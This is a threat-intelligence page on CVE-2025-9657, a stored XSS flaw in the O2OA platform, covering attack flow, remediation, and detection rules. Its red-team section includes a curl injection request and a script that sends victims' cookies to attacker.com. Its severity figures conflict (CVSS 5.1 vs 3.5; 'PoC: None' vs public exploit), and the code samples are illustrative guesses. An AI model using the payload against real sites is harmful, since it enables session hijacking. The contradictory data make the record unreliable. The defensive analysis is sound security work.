☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
O2oa logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9657

CVE-2025-9657 Cross-Site Scripting in O2oa
📅 PUBLISHED: 2025-08-29 15:32 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9657 is a stored cross-site scripting (XSS) vulnerability in O2OA up to version 10.0-410. The flaw exists in the /x_program_center/jaxrs/script endpoint of the Personal Profile Page component. An authenticated attacker can inject malicious scripts via the name, alias, or description parameters, which are then stored and executed in the context of other users' browsers. The CVSS score is 3.5 (Low), but the public availability of exploit code increases the risk. The vendor has acknowledged the issue and will fix it in a future release.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

O2OA is a Java-based enterprise application platform. This vulnerability does not directly affect package registries (NPM, PyPI, Go, Ruby). However, organizations using O2OA should verify their deployment version and apply the vendor's patch as soon as it is released.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs a valid user account.
  • User Interaction (UI): Required (R) – Victim must view the crafted profile page.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): None (N) – No data exfiltration.
  • Integrity (I): Low (L) – Attacker can modify content within the victim's session.
  • Availability (A): None (N) – No denial of service.

Threat Level: Low (CVSS 3.5). However, the public exploit and low complexity make it a realistic vector for phishing or session hijacking in targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the script management endpoint of O2OA's program center. The name, alias, and description parameters are not properly sanitized before being stored and later rendered in the Personal Profile Page. When a victim user views the attacker's profile, the injected JavaScript executes in the victim's browser context.

Attack Flow:

  1. Attacker authenticates to O2OA.
  2. Attacker sends a POST/PUT request to /x_program_center/jaxrs/script with malicious payload in name, alias, or description.
  3. The server stores the payload without sanitization.
  4. Victim navigates to the attacker's profile page.
  5. The stored payload executes, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to a phishing site.

Vulnerable vs. Patched Code

Vulnerable Code (O2OA <= 10.0-410):

// No input validation or encoding
public void updateScript(Script script) {
    String name = script.getName();
    String alias = script.getAlias();
    String description = script.getDescription();
    // Directly stored without sanitization
    scriptDao.update(script);
}

Patched Code (Expected fix):

// Input validation and output encoding
public void updateScript(Script script) {
    String name = sanitizeInput(script.getName());
    String alias = sanitizeInput(script.getAlias());
    String description = sanitizeInput(script.getDescription());
    script.setName(name);
    script.setAlias(alias);
    script.setDescription(description);
    scriptDao.update(script);
}

private String sanitizeInput(String input) {
    // Use a library like OWASP Java Encoder
    return Encode.forHtml(input);
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Valid O2OA user account.
  • Network access to the O2OA instance.

Exploit Steps:

  1. Authenticate and obtain session cookie.
  2. Send a crafted request to inject XSS payload.
# Example using curl
curl -X POST "https://target.o2oa.com/x_program_center/jaxrs/script" \
  -H "Cookie: JSESSIONID=your_session_id" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "<script>alert(1)</script>",
    "alias": "test",
    "description": "XSS test"
  }'
  1. Victim visits the attacker's profile page and the script executes.

Advanced Payload:

// Steal cookies
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Blue Team (Defender)

Detection:

  • Monitor for unusual POST/PUT requests to /x_program_center/jaxrs/script with HTML/JavaScript in parameters.
  • Look for outbound connections to unknown domains from O2OA users' browsers.

Mitigation:

  • Apply vendor patch as soon as available.
  • Implement a Web Application Firewall (WAF) rule to block XSS patterns in the name, alias, and description fields.
  • Restrict user permissions to only necessary functions.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST/PUT requests to /x_program_center/jaxrs/script containing <script> tags or event handlers (e.g., onload, onerror).
    • Outbound HTTP requests to unknown domains from O2OA user browsers.
  • Host IOCs:

    • Log entries showing script creation with suspicious content in name, alias, or description fields.
    • Unexpected JavaScript execution in the browser console.
  • File IOCs:

    • No specific file-based IOCs; the attack is stored in the database.

Detection Engineering

YARA Rule

rule CVE_2025_9657_XSS_O2OA {
    meta:
        description = "Detects XSS payloads in O2OA script parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9657"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"].*?['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-9657 O2OA XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts against O2OA script endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/x_program_center/jaxrs/script'
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of script tags in profile descriptions (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-9657 O2OA XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/x_program_center/jaxrs/script"; http_uri;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-9657;
    priority:2;
)

Remediation & Mitigation

  1. Immediate Actions:

    • Upgrade O2OA to version 10.0-411 or later once released.
    • If upgrade is not possible, apply a virtual patch via WAF to block XSS patterns in the vulnerable endpoint.
  2. Configuration Hardening:

    • Restrict user permissions to only necessary functions.
    • Enable input validation and output encoding for all user-supplied data.
  3. Monitoring:

    • Deploy the provided Sigma and Suricata rules to detect exploitation attempts.
    • Monitor logs for unusual script creation activities.
  4. Long-term:

    • Conduct a security review of all user-facing endpoints.
    • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9657/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.